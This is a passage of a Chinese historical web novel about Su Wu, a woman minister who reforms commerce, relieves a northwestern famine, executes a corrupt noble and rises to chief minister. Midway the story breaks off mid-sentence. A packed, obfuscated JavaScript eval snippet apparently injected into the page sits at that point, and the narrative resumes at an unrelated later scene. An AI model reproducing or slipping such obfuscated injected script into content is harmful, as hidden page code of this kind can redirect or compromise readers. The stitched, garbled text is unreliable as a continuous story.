自就任商部尚书三月有余,苏芜便以雷霆手段整顿部务,将商部原有的冗官庸吏尽数裁汰,提拔了一批寒门出身、熟悉商情的官员,又重新制定了商税、盐运、海防贸易的细则:商税按商户规模分等征收,寒门小商户免征三年商税;盐运废除世家垄断,在全国设十处盐场官署,由商部直接管辖,盐价由朝廷统一定制,严禁抬价;海防贸易则设立市舶司,在广州、泉州、明州设三大市舶口岸,规范海外商船贸易,抽分征税,同时鼓励大靖商贩出海通商,由惠民商社牵头,组建商船队,与南洋、西域诸国互通有无。 这一系列新政推行,朝堂之上虽有温庭远等忠良之士支持,却也遭遇了世家残余势力的百般掣肘。江南士族经苏芜南下一役,虽元气大伤,却仍有残余势力盘踞在户部、礼部,暗中克扣商税银两,拖延盐场官署的设立;北方勋贵则借着边贸之利,与西北党项部落暗中勾结,垄断皮毛、良马贸易,对商部推行的边贸新政阳奉阴违,甚至在朝堂之上屡屡发难,称苏芜的新政“舍本逐末,重商轻农,动摇国本”。 这日早朝,户部尚书张峦,江南士族出身,率先出列,手持笏板躬身道:“陛下,商部推行新政三月,江南诸州商税虽有增收,却因免征寒门小商户税银,致使府库进项大减。如今西北诸州遭遇旱灾,边军缺粮缺饷,朝廷正需钱粮赈灾,苏尚书此举,实乃置朝廷安危于不顾,还请陛下下旨,废除寒门商户免税之令,重定商税细则。” 话音未落,北方勋贵代表,成国公朱启元亦出列附和:“张尚书所言极是。臣亦有本奏,西北边贸乃国之重事,历来由北方勋贵与边军共同打理,苏尚书执意让惠民商社插手边贸,竟还欲在西北设立互市口岸,此举不仅夺勋贵之利,更易引党项部落觊觎,恐生边患。还请陛下收回成命,令商部退出西北边贸,仍由旧制行事。” 二人一唱一和,身后立刻有十数名世家、勋贵官员出列,纷纷跪地请旨,要求废除苏芜的商部新政,一时之间,金銮殿上竟成了世家勋贵的一言堂,寒门官员虽有心反驳,却因势单力薄,只能面露焦急,敢怒而不敢言。 永熙帝坐在龙椅上,面色沉凝,手指轻轻敲击着龙椅扶手,目光落在丹陛之下的苏芜身上。他深知苏芜的新政利国利民,寒门商户免税是为了扶持底层商业,让民间经济活起来;盐运整顿是为了打破世家垄断,让百姓吃上平价盐;海防与边贸新政则是为了开辟新的税源,充实府库。可世家勋贵盘根错节,西北旱灾又迫在眉睫,边军缺粮的急报一日三至,朝廷府库确有空虚,张峦与朱启元的话,虽有私心,却也戳中了当下的痛点。 “苏爱卿。”永熙帝开口,声音沉稳,“张尚书与成国公所言,你可有话说?” 苏芜应声出列,躬身行礼,声音清亮,不卑不亢:“陛下,臣有奏。江南寒门商户免税,虽暂减府库进项,却让寒门商户得以喘息,三月间,江南新增寒门商户两千余家,这些商户虽暂不纳税,却能带动民生,促进手工业、种植业发展,假以时日,其所创之利,远非眼前商税所能比。至于西北赈灾与边军缺粮,臣以为,其根不在商税之薄,而在地方截留、边贸不畅。西北诸州的赈灾粮,年前便已由户部拨付,却至今未到百姓手中,臣怀疑,是地方官员与北方勋贵相互勾结,截留赈灾粮,高价售卖,中饱私囊;而西北边贸被勋贵垄断,党项部落无利可图,才生异动,边军缺粮缺饷,亦与勋贵克扣边贸税银、拖延军饷拨付有关。” 此言一出,金銮殿上一片哗然。张峦脸色骤变,厉声喝道:“苏芜,你血口喷人!户部赈灾粮拨付及时,何来截留之说?你身为商部尚书,不思整顿商税,反倒污蔑户部与北方勋贵,居心何在?” 朱启元更是怒目圆睁:“苏芜,你竟敢污蔑我北方勋贵!我朱氏世代镇守西北,忠君爱国,岂会做此等截留军饷、勾结外族之事?你若拿不出证据,便是欺君之罪!” “证据?”苏芜抬眸,目光如炬,落在朱启元身上,“成国公可知,西北甘州府的粮价,已从一石米三百文涨至一石两千文?可知甘州百姓流离失所,易子而食,而甘州府衙的粮库,却堆满了朝廷拨付的赈灾粮?可知党项部落的激进派,手中所持的兵器,竟是大靖边军的制式长刀?这些,皆是臣派惠民商社的伙计深入西北查访所得,证据皆在臣的奏疏之中,呈请陛下御览。” 说罢,苏芜抬手,身后的随侍太监即刻将一卷奏疏呈至龙案之上。奏疏之中,不仅有西北诸州粮价、百姓流离的实情记录,还有甘州府粮库囤积赈灾粮的画像,以及党项部落所持大靖制式兵器的物证清单,甚至还有北方勋贵与甘州府官员往来的书信抄件,字字句句,铁证如山。 永熙帝翻看奏疏,脸色越来越沉,看到“易子而食”四字时,猛地一拍龙椅,厉声喝道:“竖子敢尔!朕拨赈灾粮,是为了救西北百姓,尔等竟敢截留粮食,中饱私囊,视百姓性命如草芥,视朝廷律法如无物!张峦,朱启元,尔等还有何话可说?” 张峦与朱启元面如土色,噗通一声跪地,连连磕头:“陛下,臣冤枉!臣不知此事,皆是地方官员自作主张,与臣无关啊!” “无关?”苏芜冷冷开口,“户部掌管天下钱粮,赈灾粮拨付之后,竟不闻不问,任由地方截留,此乃失察之罪;成国公世代镇守西北,对地方官员与勋贵勾结之事视而不见,甚至纵容族弟朱启山垄断西北边贸,克扣边军饷银,此乃纵容之罪。失察与纵容,皆是重罪,二位大人,岂容抵赖?” 铁证如山,张峦与朱启元再也无法狡辩,只能瘫倒在地,痛哭流涕地请罪。金銮殿上的世家勋贵官员,见状皆噤若寒蝉,再也不敢多言,寒门官员则面露喜色,纷纷出列,请旨严惩张峦、朱启元,彻查西北截留赈灾粮之事。 永熙帝盛怒之下,当即下旨:将户部尚书张峦革职查办,打入天牢;成国公朱启元削去爵位,贬为庶民,其族弟朱启山即刻捉拿归案;命商部即刻着手调运粮食,赈济西北百姓,整顿西北边贸与吏治。 旨意下达,满朝文武无人再敢反对。永熙帝目光再次落在苏芜身上,语气稍缓:“苏爱卿,西北赈灾、整顿边贸与吏治,此事千头万绪,朝中诸卿,唯你深谙商情,又有惠民商社的网络可用,朕欲命你前往西北,全权督办此事,你可愿往?” 苏芜躬身,声音坚定:“臣,领旨。臣定当不负陛下所托,赈济西北百姓,彻查截留之罪,整顿边贸吏治,安西北之澜。” “好!”永熙帝龙颜大悦,“朕赐你节钺,可节制西北诸州府县官员、边军副将,便宜行事,先斩后奏。又赐你尚方宝剑,凡敢阻挠赈灾、勾结外族者,无论官职高低,勋贵与否,皆可斩之!命青禾随侍,王大统领芜锦卫与惠民商社护卫随行,赵老留京主持商部与惠民商社事务,保障后方粮草供应。三日后,即刻启程!” “臣,谢陛下隆恩!”苏芜再次躬身,领旨谢恩。 金銮殿上的阳光透过雕花窗棂,落在苏芜的绯色朝服上,织金的祥云纹样熠熠生辉。她立于百官之中,身姿挺拔,目光坚定,这一刻,满朝文武终于明白,这位从乡野走出的巾帼尚书,并非仅凭一时功绩登上朝堂,而是真正有能力、有手段,能为君分忧,为民请命的国之柱石。那些世家勋贵的掣肘与刁难,在她的智慧与果决面前,不过是螳臂当车,不堪一击。 三日后,京城西直门,旌旗招展,车马浩荡。 苏芜身着一身玄色织锦劲装,外罩一件月白披风,长发高束,用一根玉簪固定,腰间悬着尚方宝剑,手持节钺,立于马车之前。她身后,是五百名芜锦卫女子,皆身着劲装,腰佩长刀,身姿矫健,目光锐利;一旁,是两千名惠民商社的护卫,皆是身经百战的汉子,手持长枪,腰悬弓箭,严阵以待;青禾身着青色劲装,站在苏芜身侧,手中捧着文书卷宗,眼神中满是坚定——这一次,她不再只是打理起居的侍女,更是苏芜的左膀右臂,帮她处理西北赈灾的一切文书事务。 温庭远拄着拐杖,立于城门之下,须发皆白,却精神矍铄。他看着眼前的苏芜,眼中满是欣慰,抬手拍了拍她的肩膀:“苏芜,西北苦寒,且有勋贵残余、党项异动,此行凶险,你万事小心。记住,赈灾为先,安民为要,边贸以和为贵,吏治以严为纲。京城有老夫在,商部与惠民商社的后方供应,定不会出半点差错。你只管放手去做,老夫与寒门官员,皆是你坚实的后盾。” 苏芜看着温庭远,心中暖意融融。从锦绣阁的初见,到温府的暗中点拨,再到朝堂之上的鼎力支持,这位隐退老臣,于她而言,是师,是父,是引路人。她躬身行礼,声音恳切:“师父放心,臣定当谨记教诲,赈济百姓,整顿边贸,安守西北,不辱使命。京城之事,便劳烦师父多费心了。” “去吧。”温庭远摆了摆手,眼中满是期许,“老夫在京城,等你凯旋。” 苏芜点了点头,转身翻身上马,手中马鞭一挥,朗声道:“启程!” 马蹄声起,车轮滚滚,五百芜锦卫,两千惠民商社护卫,数十辆满载粮食、药材、布匹的马车,组成一支长长的队伍,朝着西北方向缓缓驶去。京城的百姓夹道相送,纷纷高呼“苏尚书千岁”,声音响彻云霄,久久不散。苏芜勒马立于队伍前方,回头望了一眼京城的城墙,眼底没有丝毫留恋,只有一片坚定。 西北,她来了。这一次,她不仅要赈济百姓,整顿边贸,更要彻底拔除世家勋贵在西北的根基,让商部新政在西北落地生根,让西北的百姓,也能过上安居乐业的日子。 永熙十三年的秋,大靖的西北大地,早已被旱灾折磨得满目疮痍。 从潼关往西,沿途皆是干裂的土地,地里的庄稼早已枯死,只剩下枯黄的秸秆,在秋风中瑟瑟发抖。道路两旁,随处可见流离失所的百姓,他们衣衫褴褛,面黄肌瘦,有的牵着孩子,有的背着老人,一路向西,想要逃到甘州、肃州等地,寻找一线生机。偶尔能看到几座村庄,早已荒无人烟,房屋倒塌,井台干涸,只有几只瘦骨嶙峋的野狗,在村口的枯树下啃食着草根,满目凄凉。 苏芜的队伍一路西行,所经之处,皆开仓放粮,救济百姓。每到一个州县,苏芜都会亲自登岸查访,查看百姓的受灾情况,询问赈灾粮的拨付情况,对那些拖延赈灾、敷衍塞责的地方官员,当即以节钺下令,革职查办,交由芜锦卫看管。对于那些无家可归的百姓,苏芜则让惠民商社的伙计就地搭建粥棚,供应热粥,同时组织百姓开垦荒地,挖掘水井,发放种子,让百姓能自食其力,不再流离失所。 青禾则每日忙前忙后,一边帮苏芜整理文书,记录各地的受灾情况和赈灾进度,一边照料苏芜的起居,提醒她注意休息。西北苦寒,风沙大,苏芜的脸颊被风沙吹得干裂,手上也磨出了茧子,可她依旧每日天不亮就起身,忙到深夜才歇息,从未有过一句怨言。青禾看在眼里,疼在心里,却也知道,苏芜的心中,装着的是西北的万千百姓,她不能停,也不敢停。 王大则统领着芜锦卫和惠民商社的护卫,一路护送粮草,保障苏芜的安全。西北的世家勋贵残余势力,见苏芜的队伍一路赈灾,整顿吏治,早已恨之入骨,多次派人暗中偷袭,想要抢夺粮草,刺杀苏芜,却都被王大与芜锦卫一一化解。芜锦卫的女子,身手矫健,心思细腻,不仅能上阵杀敌,还能深入民间,收集情报,成为了苏芜在西北最得力的耳目;惠民商社的护卫,皆是寒门出身,深知百姓的疾苦,为了保护赈灾粮,保护苏芜,个个奋勇当先,以命相搏。 这一日,队伍行至甘州府,甘州是西北的重镇,也是此次旱灾最严重的地区,更是北方勋贵残余势力的核心腹地。成国公朱启元被削爵后,其族弟朱启山便占据了甘州,自封为甘州守备,手握甘州府的兵权,截留了朝廷拨付的所有赈灾粮,囤积在府库之中,高价售卖,大发国难财,同时暗中勾结党项部落的激进派,资助他们兵器粮草,让他们在边境作乱,以此要挟朝廷,想要恢复朱家在西北的势力。 苏芜的队伍刚抵达甘州城外,就看到甘州府的城门紧闭,城墙上站满了士兵,个个手持弓箭,严阵以待,城门之上,挂着一面大旗,上书一个大大的“朱”字。朱启山身着铠甲,立于城门之上,居高临下地看着苏芜的队伍,语气倨傲:“苏芜,你乃一介女子,竟敢夺我朱家之利,削我兄长爵位,今日还敢擅闯甘州,真当我甘州无人不成?” 苏芜勒马立于队伍前方,抬眸看向朱启山,声音冷冽:“朱启山,你身为勋贵子弟,不思镇守西北,安抚百姓,反倒截留赈灾粮,大发国难财,勾结党项部落,挑起边患,克扣边军饷银,置边军生死于不顾,此等不忠不义、不仁不孝之徒,人人得而诛之。朕赐我节钺尚方宝剑,可节制西北诸州官员,先斩后奏,今日,我便替陛下,替西北百姓,取你项上人头!” “放肆!”朱启山大怒,“苏芜,你竟敢口出狂言!我甘州有精兵三万,你这点人马,也敢与我抗衡?今日,我便让你有来无回!” 说罢,朱启山挥手,城墙上的士兵立刻拉弓搭箭,朝着苏芜的队伍射来。箭雨如蝗,朝着队伍疾驰而去,王大当即下令:“防御!” 两千惠民商社的护卫立刻举起盾牌,组成一道坚固的盾墙,挡住了箭雨。芜锦卫的女子则纷纷拿出火铳,朝着城墙上的士兵射击,“砰!砰!砰!”的枪声震天,城墙上的士兵瞬间死伤惨重,纷纷倒地。 苏芜深知,朱启山手握甘州兵权,硬拼只会徒增伤亡,且甘州百姓还在城中,硬攻城池,必会伤及百姓。她抬手示意队伍停止进攻,对着城墙上的朱启山朗声道:“朱启山,你以为你依仗精兵三万,便能负隅顽抗?你可知,你勾结党项部落,资助他们兵器粮草的证据,我早已掌握?你可知,边军主将李将军,早已对你的所作所为忍无可忍,今日便会率边军前来,与我一同讨逆?你可知,甘州百姓对你截留赈灾粮的行为恨之入骨,早已暗中准备,欲里应外合,推翻你的统治?” 朱启山的脸色骤变,眼中闪过一丝慌乱。他确实勾结了党项部落,也确实克扣了边军饷银,边军主将李将军早已对他不满,只是碍于他手中的兵权,一直隐忍不发;而甘州百姓,因他截留赈灾粮,早已民怨沸腾,城中确实有不少百姓暗中想要反抗。苏芜的话,字字戳中他的要害,让他不由得心中发慌。 就在此时,远处传来一阵马蹄声,尘土飞扬,一支数万人的军队,朝着甘州城疾驰而来,为首的一位将军,身着银色铠甲,手持长枪,正是边军主将李将军。李将军勒马立于苏芜身侧,对着城墙上的朱启山大喝道:“朱启山,你勾结外族,截留赈灾粮,克扣军饷,罪大恶极,今日,我率边军三万,前来讨逆,识相的,速速开城投降,否则,踏平甘州城!” 城墙上的士兵,见边军大军压境,早已军心大乱。他们大多是甘州本地的百姓,因旱灾流离失所,被朱启山强征入伍,本就对朱启山的所作所为不满,如今见边军前来,更是无心恋战,纷纷放下弓箭,想要投降。 朱启山见大势已去,想要拔剑自刎,却被身边的亲兵死死按住。亲兵们早已对朱启山不满,纷纷倒戈,打开了甘州城的城门,将朱启山绑了起来,送到了苏芜面前。 苏芜勒马下马,走到朱启山面前,目光冷冽:“朱启山,你可知罪?” 朱启山瘫在地上,面如土色,却依旧嘴硬:“苏芜,我朱家世代镇守西北,功不可没,你今日废我兄长,擒我于阵前,他日,我朱家定当报仇雪恨!” “报仇雪恨?”苏芜冷笑,“你朱家镇守西北,本是职责所在,却借着权势,垄断边贸,克扣军饷,如今更是截留赈灾粮,勾结外族,此等罪行,死不足惜!” 说罢,苏芜抬手,拔出腰间的尚方宝剑,剑光一闪,朱启山的人头落地,鲜血溅在干裂的土地上,晕开一小片暗沉的红。 甘州城的百姓,见朱启山被斩,纷纷走出家门,跪在地上,对着苏芜连连磕头:“苏尚书,您真是我们的活菩萨啊!您为我们除掉了朱启山这个恶霸,我们终于有活路了!” 苏芜扶起百姓,轻声道:“诸位乡亲,不必如此。我乃朝廷尚书,赈济百姓,除暴安良,是我的本分。今日,我便开仓放粮,平价售盐,让大家都能吃上饱饭,穿上暖衣。” 话音未落,百姓们纷纷欢呼起来,声音响彻甘州城的上空。 苏芜进入甘州府后,当即下令打开府库,将朱启山截留的赈灾粮全部拿出,开仓放粮,以一石米三百文的平价,售卖粮食给百姓;同时,将朱启山囤积的食盐全部拿出,以朝廷统一定价售卖,让百姓吃上平价盐。又下令彻查朱启山的党羽,凡是参与截留赈灾粮、勾结外族的官员,一律革职查办,罪大恶极者,当即斩首;对于那些被朱启山强征入伍的百姓,一律遣散回家,发放粮食和种子,让他们回家务农。 青禾则带着芜锦卫的女子,深入甘州城的大街小巷,安抚百姓,记录百姓的受灾情况,为百姓发放药材和布匹,治疗那些因旱灾和饥饿生病的百姓。王大则统领着惠民商社的护卫,接管了甘州府的城防,维护甘州城的治安,同时组织百姓开垦荒地,挖掘水井,重建家园。 短短十日,甘州府的局势便稳定下来,百姓安居乐业,街头巷尾恢复了往日的生机,再也不见往日的流离与凄凉。 解决了甘州的内乱,苏芜便着手处理党项部落的边患问题。 党项部落盘踞在西北边境,分为三大部落,分别是亲靖的拓跋部落,以及激进的野利部落、米擒部落。朱启山在位时,为了垄断边贸,故意打压拓跋部落,暗中资助野利、米擒部落,挑唆他们在边境作乱,抢夺百姓财物,袭击大靖边军,致使边贸断绝,百姓流离。苏芜深知,想要平定边患,不能一味用兵,只能以和为贵,分化瓦解党项部落,扶持亲靖的拓跋部落,打击激进的野利、米擒部落,同时恢复边贸,让党项部落有利可图,这样才能从根本上解决边患问题。 于是,苏芜派林薇,芜锦卫统 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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西北的惜春坊分坊,迎来的第一批孤女,有五十余名,最大的十八岁,最小的只有七岁。她们皆是因旱灾和边患失去了家人,流离失所,有的甚至被人贩子拐卖,幸得芜锦卫的女子救下,才得以进入惜春坊。苏芜时常去惜春坊,教这些孤女刺绣,教她们辨识草药,教她们做人的道理,告诉她们:“女子并非只能依附男子生存,西北的天地广阔,靠着自己的双手,你们也能活得有尊严,有底气。” 这些孤女,看着苏芜,看着这位从乡野走出,如今成为大靖商部尚书,平定西北乱局,拯救西北百姓的巾帼英雄,心中满是敬佩与向往。她们暗暗发誓,一定要努力学习技艺,像苏芜一样,靠自己的力量,活下去,活得好,将来也能为西北的百姓,为大靖的江山,贡献自己的一份力量。 永熙十四年,春。 西北的大地,终于迎来了一场春雨。淅淅沥沥的春雨,落在干裂的土地上,滋润着沉睡的万物,地里的庄稼冒出了嫩绿的新芽,道路两旁的树木抽出了新枝,西北的大地,重新焕发出勃勃生机。 经过半年的整顿,西北的旱灾得到了缓解,百姓安居乐业,边贸繁荣,吏治清明,党项部落与大靖和平共处,西北诸州,一片安定祥和。苏芜的赈灾与整顿之功,传遍了西北的每一个角落,西北的百姓,皆称苏芜为“苏青天”,为她立生祠,岁岁祭祀,感念她的救命之恩。 苏芜知道,西北的局势已然稳定,她也该返回京城,向皇帝复命了。 临行前,苏芜站在甘州的边贸互市口岸,看着往来的商贩,看着大靖的粮食、布匹被运往党项部落,看着党项部落的皮毛、良马被运往大靖内地,看着百姓们脸上洋溢的笑容,心中满是欣慰。她身旁,青禾、王大、林薇站在一侧,眼中也满是笑意。这半年的西北之行,他们历经风雨,出生入死,终于不负陛下所托,不负百姓所望,平定了西北的乱局,安澜了西北的江山。 “走吧。”苏芜轻声道,“我们回京城。” 马蹄声起,车轮滚滚,苏芜的队伍,朝着京城的方向,缓缓驶去。西北的百姓,夹道相送,纷纷高呼“苏尚书千岁”,声音响彻西北的天空,久久不散。苏芜勒马立于队伍前方,回头望了一眼西北的大地,眼底满是留恋与坚定。 西北,她来过,她战过,她守护过。这里的土地,这里的百姓,都将成为她生命中,最珍贵的记忆。 永熙十四年,暮春。 苏芜的队伍,抵达京城。 永熙帝率满朝文武,亲自到京城西直门迎接,这是大靖开国以来,第一次皇帝率百官迎接一位大臣,足见永熙帝对苏芜的器重与赏识。京城的百姓,也夹道相送,欢呼之声,响彻云霄。 金銮殿上,苏芜身着商部尚书朝服,手持象牙笏板,躬身向永熙帝复命,将西北赈灾、整顿吏治、平定边患、恢复边贸的经过,一一奏明。奏疏之中,不仅有西北的整顿成果,还有西北边贸的税收明细,仅半年时间,西北边贸的税收,便充实了朝廷府库百万两白银,远超往年。 永熙帝听后,龙颜大悦,当即下旨,在金銮殿上嘉奖苏芜:“苏芜持节西行,赈济西北百姓,彻查截留之罪,平定党项边患,恢复西北边贸,吏治清明,民生富庶,边贸繁荣,功绩卓著,远超古之良将贤臣。朕嘉其功,念其劳,特加封苏芜为同中书门下平章事,入政事堂,参与核心朝政,仍领商部尚书,加太子太保,赏黄金千两,绸缎百匹,钦此!” 同中书门下平章事,乃大靖的宰辅之职,入政事堂,参与核心朝政,这意味着,苏芜从此成为了大靖王朝的核心重臣,真正站在了朝堂的巅峰。太子太保,从一品官衔,更是对她功绩的最大肯定。 这道旨意,下达之时,金銮殿上,满朝文武,无一人反对。世家勋贵的残余势力,早已被苏芜的手段震慑,再也不敢有任何异议;寒门官员,则面露喜色,纷纷向苏芜道贺。这一刻,苏芜,这位从乡野走出的孤女,这位曾是锦绣阁杂役的女子,终于凭借自己的努力与智慧,一步步走到了朝堂的巅峰,成为了大靖王朝历史上,第一位女宰辅,第一位入政事堂的女子。 苏芜躬身,接过圣旨,声音清亮,坚定有力:“臣苏芜,接旨!谢陛下隆恩!臣定当恪尽职守,忠君爱国,为民请命,与诸公共辅陛下,共创大靖万世之基!” 丹陛之上,永熙帝看着苏芜,眼中满是赞赏。丹陛之下,温庭远看着苏芜,眼中满是欣慰。青禾、王大、赵老,站在朝班之外,看着苏芜,眼中满是骄傲。 金銮殿上的龙涎香,依旧袅袅,鎏金铜鹤里的沉香,依旧燃得正旺。苏芜立于政事堂大臣之列,身着绯色织金朝服,头戴七梁冠,腰系玉带,手持象牙笏板,身姿挺拔,目光坚定。她的身后,是大靖的万里江山,是万千的黎民百姓;她的身前,是开明的君主,是支持她的忠良之士。 她从尘泥里走来,历经风雨,受尽磨难,却始终坚守本心,不攀附,不妥协,不将就,靠着自己的韧性、智慧与双手,一步步走出了尘泥,走到了朝堂的巅峰,活成了自己的光,活成了大靖王朝万千女子的光,活成了大靖王朝历史上,最耀眼的巾帼传奇。 此后,苏芜以同中书门下平章事、商部尚书的身份,入政事堂,参与核心朝政。她继续推行商部新政,扶持寒门商户,发展民间商业;她继续整顿盐运、海防与边贸,让大靖的商业,走向南洋,走向西域,走向更远的地方;她继续开设惜春坊,收养孤女,传授技艺,让大靖的女子,能摆脱依附男子的命运,靠自己的双手,活得有尊严,有底气;她继续资助寒门子弟读书,为朝廷输送人才,让大靖的朝堂,越来越清明,越来越公正。 她的身边,青禾始终陪伴,帮她处理文书,打理起居;王大统领芜锦卫,守护她的安全,主持惠民商社的护卫事务;赵老主持商部与惠民商社的日常事务,保障全国的商业与民生;林薇则统领芜锦卫,深入民间,收集情报,保护惜春坊的孤女,成为了大靖女子的守护者。温庭远则与苏芜一同,在政事堂中,为君分忧,为民请命,辅佐永熙帝,开创了大靖王朝的“永熙盛世”。 永熙二十八年,永熙帝驾崩,太子即位,改元景和。 景和帝年幼,由苏芜与温庭远共同辅政。苏芜以辅政大臣、商部尚书、同中书门下平章事的身份,继续执掌朝政,推行利国利民的政策,守护着大靖的万里江山,守护着大靖的万千百姓。 此时的苏芜,已年近四十,眉眼间添了岁月的沉淀,却依旧沉稳果决,目光坚定。她一生未嫁,没有依附任何男子,没有卷入任何感情纠葛,始终独美,始终坚定,始终坚守着自己的本心,从尘泥里的孤女,到锦绣阁的杂役,到诰命夫人,到商部尚书,再到宰辅、辅政大臣,她用自己的一生,诠释了什么是“靠人不如靠己”,什么是真正的大女主。 这一日,苏芜立于皇宫的紫宸殿外,看着京城的万家灯火,看着大靖的万里江山,眼底满是平静与淡然。青禾走到她身边,与她并肩而立,轻声道:“苏尚书,你看,这大靖的江山,这京城的繁华,皆是你一手缔造的。” 苏芜笑了笑,转头看向青禾,眼底满是暖意:“这并非我一人之功,是陛下的圣明,是师父的辅佐,是你,是王大,是赵老,是所有寒门百姓,是所有惜春坊的孤女,是所有支持我的人,一同缔造的。” 10. 盛世归宁·锦岁长明 景和七年,冬。 大靖的京城,落了一场经年不遇的瑞雪。鹅毛大雪覆了朱墙金瓦,掩了青石板路,将整座皇城裹成了一片银装素裹的天地。宫墙之外,市井间却无半分寒冬的萧索,临街的铺子挂着红绸灯笼,雪光映着灯笼上的“福”字,暖融融的红透了半条街。挑着货担的小贩踩着薄雪吆喝,酒肆里飘出温酒的醇香,惠民商社的伙计推着满载年货的车,给寒门商户送着新年的米面油盐,处处皆是国泰民安的盛世光景。 紫宸殿的暖阁里,龙涎香混着松枝的清冽,漫在雕梁画栋之间。景和帝已是十四岁的少年天子,身着明黄龙袍,正伏案看着奏折,眉眼间已有了帝王的沉稳。苏芜立于案侧,身着深绯色织金朝服,头戴七梁冠,腰系玉带,鬓边仅簪一支羊脂玉簪,岁月在她眉眼间刻下了温润的沉淀,四十余岁的年纪,眼底依旧清亮,只是少了当年的锋芒,多了几分阅尽千帆的平和。她手指轻点在奏折上的一处,轻声道:“陛下,江南漕运新渠已成,商部已核定漕船通行章程,寒门商户的漕运税银减半,此举既能疏解江南粮运压力,又能扶持民间商贸,只需陛下御笔朱批,便可推行。” 景和帝抬眸,看向苏芜,眼中满是敬重:“苏相所言,朕自然信得过。这七年,若不是苏相与温太傅辅政,整顿朝纲,兴商富民,何来今日的盛世?朕虽已亲政,却仍需苏相多多提点。” 苏芜躬身颔首:“陛下天资聪颖,亲政以来,轻徭薄赋,体恤民情,已是明君之相。臣不过是尽辅政之责,不敢居功。” 暖阁的门被轻轻推开,温庭远由小太监搀扶着走进来,须发皆白,步履稍缓,却依旧精神矍铄。他看着殿中二人,笑着道:“陛下与苏相倒是相谈甚欢,老臣刚从户部过来,今年全国商税较之永熙初年,翻了三倍,西北边贸、岭南海贸的进项,更是充实了府库,这皆是苏相的功劳啊。” 苏芜回身,对着温庭远拱手:“师父过誉了,若无师父在朝堂之上稳住大局,为臣撑腰,商部的新政也难以推行。今日的盛世,是君臣同心,朝野共济的结果。” 三人相视一笑,暖阁里的气氛融融。自景和帝即位,苏芜与温庭远共同辅政七载,这七年,大靖的盛世更胜往昔:商部新政遍及全国,寒门商户遍布州县,惠民商社的分坛开至塞外与南洋,大靖的绣品、瓷器、茶叶顺着海路销往西洋,西域的珠宝、南洋的香料沿着陆路走进京城;全国各州府皆设惜春坊与义学,孤女有技可学,寒门子弟有书可读,朝堂之上,寒门官员已占半数,女子虽未开科举,却可通过技艺入官署任职,绣坊、药行、商署之中,随处可见女子主事的身影;西北党项部落早已与大靖融为一体,拓跋部落的子弟入太学读书,党项的皮毛、良马成为大靖边贸的核心物资,岭南海疆安宁,市舶司的商船千帆竞渡,再也无倭寇海盗袭扰;全国吏治清明,贪腐之事几近绝迹,百姓安居乐业,路不拾遗,夜不闭户,坊间皆传“景和盛世,胜似文景”。 而这一切的背后,皆是苏芜半生的心血。从苏家村的孤女,到锦绣阁的杂役,从一品诰命夫人,到商部尚书,再到同中书门下平章事,辅政大臣,她一步一步,从尘泥里走到朝堂之巅,一手缔造了大靖的商业盛世,一手撑起了寒门子弟与女子的希望。只是半生操劳,也让她添了些许病根,冬日里畏寒,伏案久了便会头晕,青禾总劝她歇一歇,她却总说,盛世虽至,却需守成,一日不卸任,便一日不敢懈怠。 这日朝后,苏芜回到商部官署,青禾早已备好了温茶与暖炉,见她进来,连忙上前接过她的笏板与披风:“相爷,今日天寒,您在宫里头待了半日,快暖暖身子。方才赵老派人来报,惠民商社总坛的年货已经备齐,各地分坛的物资也都发出去了,西北与岭南的惜春坊,也都收到了京城送去的绸缎与药材。” 苏芜接过温茶,喝了一口,暖意从喉咙漫到心底:“辛苦赵老了,他今年也年过七旬,该让他多歇歇,惠民商社的事,也该慢慢交予后辈了。” “赵老说,只要相爷还在任,他便守着惠民商社一日。”青禾笑着道,又递上一封书信,“还有,江南苏州府的惜春坊分坊寄来的信,说今年新学成的孤女有两百余人,其中三十人绣技超群,已被选入锦绣阁御绣坊,还有五十人学了算账与商情,想去南洋的市舶司任职。” 苏芜接过书信,细细看着,嘴角噙着温柔的笑意。惜春坊,是她半生最牵挂的牵挂。从京城第一家惜春坊,到如今全国百余家分坊,收养的孤女逾万人,这些女子,有的成了绣娘,有的成了药姑,有的成了商贩,有的入了官署,皆靠着自己的双手,活成了独立的模样。这便是她最初的心愿,让天下孤女,皆有枝可依,皆有业可守,皆能活得有尊严,有底气。 正看着信,王大匆匆走进来,一身玄色劲装,虽已年近五十,依旧身姿挺拔。他对着苏芜拱手:“相爷,芜锦卫的巡防事宜已安排妥当,新年期间,京城与各地的惜春坊、惠民商社分坛,皆有芜锦卫值守,不会出半点差错。还有,西北拓跋部落的拓跋少主派人送来贺礼,说感念大靖的恩德,特送良马百匹,皮毛千张,贺新年。” 苏芜点头:“拓跋部落有心了,让商部回赠丝绸百匹,瓷器千件,还有太学的典籍五十套,让拓跋少主的子弟好好读书。芜锦卫的兄弟们也辛苦了,新年的赏银加倍,让大家好好过个年。” 王大应了声“是”,脸上露出憨厚的笑容。数十年相伴,他从最初跟着苏芜的寒门汉子,到如今统领芜锦卫的统领,看着苏芜一步步走到今日,看着大靖从风雨飘摇到盛世太平,心中满是感慨。当年的一群人,如今都已鬓生华发,却依旧守着最初的初心,守着苏芜,守着这大好的盛世。 腊月廿八,京城的年味已是浓得化不开。苏芜向景和帝递上了辞呈,请求卸去辅政大臣与商部尚书之职,归宁田园。 辞呈递上的那一刻,景和帝愣了许久,当即召苏芜入养心殿,执意挽留:“苏相,朕刚亲政不久,朝堂之上仍需你坐镇,商部事务更是离不了你,你为何要辞官?” 苏芜跪在丹陛之下,俯身道:“陛下,臣半生操劳,如今已是心力交瘁,加之身有微恙,恐再难担辅政之责。如今大靖盛世已成,朝有贤才,野有良民,户部有张大人,兵部有李将军,商部也有年轻的官员可堪大用,陛下亲政以来,处事明断,已是能独掌乾坤的明君,臣已无后顾之忧。臣半生漂泊,如今只想寻一处安静之地,养花种草,安度余生。” 